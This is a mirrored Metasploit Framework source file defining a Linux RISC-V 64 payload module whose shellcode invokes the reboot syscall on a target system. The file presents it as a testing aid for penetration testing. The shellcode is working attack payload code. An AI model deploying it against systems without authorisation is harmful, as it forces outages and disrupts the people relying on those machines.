CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/linux/riscv64le/reboot.rb
Views: 11782
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 40
8
9
include Msf::Payload::Single
10
include Msf::Payload::Linux
11
12
def initialize(info = {})
13
super(
14
merge_info(
15
info,
16
'Name' => 'Linux Reboot',
17
'Description' => %q{
18
A very small shellcode for rebooting the system using
19
the reboot syscall. This payload is sometimes helpful
20
for testing purposes.
21
},
22
'Author' => 'bcoles',
23
'License' => MSF_LICENSE,
24
'Platform' => 'linux',
25
'Arch' => ARCH_RISCV64LE
26
)
27
)
28
end
29
30
def generate(_opts = {})
31
shellcode =
32
[0x0007f537].pack('V*') + # lui a0,0x7f
33
[0x70f5051b].pack('V*') + # addiw a0,a0,1807
34
[0x00d51513].pack('V*') + # slli a0,a0,0xd
35
[0xead50513].pack('V*') + # addi a0,a0,-339
36
[0x281225b7].pack('V*') + # lui a1,0x28122
37
[0x9695859b].pack('V*') + # addiw a1,a1,-1687
38
[0x01234637].pack('V*') + # lui a2,0x1234
39
[0x5676061b].pack('V*') + # addiw a2,a2,1383
40
[0x08e00893].pack('V*') + # li a7,142
41
[0x00000073].pack('V*') # ecall
42
43
super.to_s + shellcode
44
end
45
end
46
47